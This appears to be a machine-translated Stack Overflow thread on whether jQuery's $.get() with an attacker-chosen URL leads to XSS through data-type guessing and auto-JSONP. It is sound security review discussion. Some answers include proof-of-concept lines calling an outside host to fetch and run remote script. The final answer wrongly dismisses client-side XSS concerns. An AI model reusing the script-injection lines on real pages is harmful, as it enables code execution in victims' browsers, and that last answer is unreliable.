jQuery的$ .get()可以安全地调用不受信任的URL吗?
我最近了解到,jQuery的$.getJSON()
在不受信任的URL上调用是不安全的 。 那么$.get()
呢? 当URL参数来自不受信任的来源时,jQuery的$.get()
安全地调用,或者这是不安全的?
这是我正在进行的安全代码审查,以检查XSS漏洞。 示例代码模式:
$.get(url, function (...) { ... })
如果攻击者恶意选择url
,此代码模式是否会创建XSS漏洞?
请假设该函数将安全地处理来自AJAX请求的响应,并且该url
来自不受信任的来源(例如,其他一些用户)并且可以完全由对手控制。
我担心:如果攻击者选择了url
,攻击者是否可以选择恶意URL(例如,包含callback=?
并指向他们自己的站点,或者类似的东西),这会导致jQuery猜测数据类型应该是JSONP ,启用JSONP,在文档中插入脚本标记,并以与getJSON()相同的方式引入XSS漏洞? (因为我没有将明确的dataType
参数传递给$.get()
,所以jQuery会猜测数据类型,如文档中所述 。我不确定它的安全含义是什么。)
我在代码审查中遇到了这种代码模式,我试图了解它是否是一个潜在的漏洞。 我不是在寻找可以编写代码的替代方法; 相反,我想知道这种代码模式是否安全。
由于威胁模型有点棘手,让我举一个例子来帮助更好地理解这一点。 假设Bob是该服务的用户,他可以提供与其个人资料相关联的URL。 假设当Alice在浏览器中访问Bob的个人资料页面时,页面上的Javascript代码会获取Bob提供的URL并将其作为参数传递给$.get()
。 问题是,这样安全吗? 鲍勃可以用它来攻击爱丽丝吗? Bob可以触发Alice的浏览器执行任意Javascript代码,拥有Alice的所有权力吗? 正如链接问题所解释的那样, $.getJSON()
在这种情况下是不安全的 – 但是$.get()
呢? 它也不安全,还是安全的?
由于我收到了一些澄清请求,让我尝试以不同的方式解释/提出问题。 假设我正在进行代码审查以检查某些Javascript代码是否包含任何XSS漏洞,我看到以下代码行:
$.get(url, function(resp) { /* do nothing */ });
假设我知道url
可以被攻击者完全控制。 这是否自动成为XSS漏洞? 或者这总是安全吗? 或者,如果答案是“它取决于”,它依赖于什么?
或者,另一种思考方式。 假设我正在进行代码审查,我看到以下代码行:
$.get(url, f);
假设我知道url
可以被攻击者完全控制。 我需要检查什么,以validation这是否安全(没有XSS错误)? 我知道我需要检查f
的代码以查看它是否安全地处理响应,因为如果f
不小心它可能会引入XSS错误。 我的问题是:我唯一需要检查的是什么? 或者这个代码模式总是一个XSS漏洞,无论f
是如何编码的?
如果攻击者恶意选择url,此代码模式是否会创建XSS漏洞?
编辑:是的,但不是你问题中的原因。
奇怪的auto-JSONPfunction在内部应用于使用ajaxPrefilter("json jsonp")
AJAX请求。 所以它适用于json
预filter列表,但不适用于其他类型或默认*
。 但是,prefilters在响应发生之前应用,因此这不会因为服务器回复类似JSON的类型而发生。
(目前 – 从1.11.2开始 – getJSON
的文档没有描述这种潜在危险行为完全触发的情况。而get
和ajax
的文档根本没有提到auto-JSONP。所以也许它应该被认为是一个错误。当然,鉴于这是多么糟糕的指定,我不会依赖它在jQuery的未来版本中保持不变。)
它易受攻击的实际原因(如framp和牙刷所示)是没有dataType
参数,jQuery会从响应中猜出一个。 如果攻击者的URL命中一个像JS一样的Content-Type
,jQuery会猜测它是JavaScript并eval
它。 注意:为了使AJAX请求足以使其工作,对于第三方服务器上的资源,它必须包含CORS头。
$.get(url, function (...) { ... }, 'json');
此版本不容易受到响应类型的猜测。 但是,它很容易受到auto-JSONPfilter的攻击。
为了安全起见,您必须同时设置dataType
选项,如果该选项是json
,还必须设置jsonp: false
选项。 不幸的是,您无法在get()
方法中设置jsonp
选项。 你应该可以通过传入一个选项字典而不是参数来做到这一点,但你不能,因为这个API目前完全不起作用,因为jQuery是一个令人遗憾的混乱的破坏的Do-What-I-Mean API其行为它(越来越)难以预测。
因此,从不受信任的URL获取JSON的唯一安全方法是通过基本的ajax
:
$.ajax(url, {dataType: 'json', jsonp: false});
jQuery.get
确实会造成XSS安全风险。
如果你看一下jQuery的源代码(或jQuery.get
的文档),你会看到jQuery.get
和jQuery.post
只是jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });
包装器jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });
。
这里有两个问题:
- 如果
dataType
是jsonp
,或者URL以=?
结尾=?
和dataType
是json
,jQuery将尝试发出JSONP请求,然后eval
脚本。 - 如果响应是脚本,jQuery将执行该脚本, 除非
dataType
是json
并且jsonp
选项设置为false
。
因此,如果将dataType
设置为json
,将jsonp
为false
,则可以安全地为未知URL调用jQuery.get
。
易受攻击的脚本
$.get(url, function(...) { ... });
请参阅JSFiddle上的示例。
安全的脚本
$.ajax(url, { jsonp: false, dataType: 'json' }).done(function(...) { ... });
请参阅JSFiddle上的示例。
这取决于。
TL; DR是的,在某些情况下它是不安全的。
如果:
- 您没有使用内容安全策略过滤外发请求( caniuse )
- 客户端浏览器支持CORS( caniuse )
- 攻击者可以选择URL
然后攻击者可以在您的页面上执行JS。
具有匹配协议的恶意服务器,正确的CORS标头( Access-Control-Allow-Origin: *
)将能够在您的页面上执行JS,这要归功于来自Content-Type标头的jQuery自动检测(对于JS将是script
)。
您可以在stackoverflow上尝试此页面的示例(假设您使用的是http
):
$.get('http://zensuite.net/js/alert.js', console.log.bind(console));
如果您想查看未设置CORS标头会发生什么:
$.get('https://zensuite.net/js/alert.js', console.log.bind(console));
相反,在谈论您的假设时,您可能无法使jQuery将正常的XHR请求转换为远程包含脚本。
在简要查看代码后,我认为这不太可能发生(除非某处存在错误),因为只有在请求传输之前才能切换到“远程脚本模式”,并且如果您的dataType
是
-
json
当URL匹配rjsonp
regex/(=)\?(?=&|$)|\?\?/
; -
jsonp
-
script
这些也很脆弱:
$.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json'); $.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp'); $.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script');
这当然与问题无关,因为您可以使用$.get
来执行远程代码。
这是一个好点。 但是如何强制数据类型格式以确保它不会被用作JSONP
$.ajax({ url: url, data: data, success: success, dataType: dataType // force text/plain });
当我们想要加速解析时,使用实际的$.getJSON()
是为了方便,所以如果你真的意识到安全性使用自定义的$.ajax()
调用。
更多信息: http : //api.jquery.com/jquery.ajax/
你知道,黑客可以简单地打开开发控制台并编写他想要的任何$.get
,他甚至不必更改你的url
变量。 实际上,只要它不干扰相同的域策略,他就可以运行他想要的任何代码。 客户端安全的全部意义在于确保这个人只能破解自己。
所以不需要尝试保护客户端的任何东西,这个想法是你不能相信来自浏览器的任何东西 ,所以你应该总是检查服务器中收到的数据,并允许两者之间的最小接口(知道你的参数,他们的类型等)。